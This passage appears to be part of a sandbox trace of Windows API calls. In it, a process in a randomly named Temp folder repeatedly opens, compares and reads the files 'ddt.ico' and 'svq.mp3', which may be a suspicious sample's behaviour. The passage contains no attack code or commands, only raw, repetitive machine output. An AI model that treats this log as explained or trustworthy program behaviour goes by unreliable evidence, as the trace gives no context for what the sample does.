cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.819] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.819] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.819] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.819] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.819] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.820] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.820] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.820] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.820] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.820] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.820] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.820] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.820] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.820] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.820] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.820] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.821] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.821] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.821] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.821] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.821] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.821] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.821] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.821] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.821] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.821] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.821] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.822] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.822] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.822] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.822] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.822] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.822] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.822] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.822] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.822] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.822] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.822] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.822] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.822] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.822] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.823] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.823] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.823] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.823] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.823] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.823] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.823] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.823] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.823] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.823] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.823] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.823] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.824] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.824] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.824] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.824] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.824] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.824] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.824] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.824] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.824] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.824] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.824] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.825] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.825] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.825] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.825] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.825] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.825] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.825] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.825] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.825] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.825] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.826] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.826] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.826] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.826] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.826] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.826] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.826] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.826] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.826] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.826] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.826] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.826] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.827] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.827] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.827] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.827] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.827] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.827] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.827] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.827] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.827] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.827] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.827] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.828] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.828] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.828] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.828] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.828] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.828] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.828] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.828] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.828] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.828] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.829] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.829] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.829] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.829] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.829] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.829] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.829] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.829] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.829] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.829] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.829] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.829] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.829] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, 